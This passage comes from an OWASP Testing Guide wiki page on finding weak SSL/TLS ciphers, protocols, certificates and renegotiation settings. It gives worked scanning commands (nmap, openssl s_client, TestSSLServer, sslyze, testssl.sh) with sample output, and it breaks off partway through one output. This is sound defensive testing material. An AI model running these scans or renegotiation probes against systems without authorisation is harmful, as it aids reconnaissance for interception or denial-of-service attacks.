* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179062Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:37:32Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
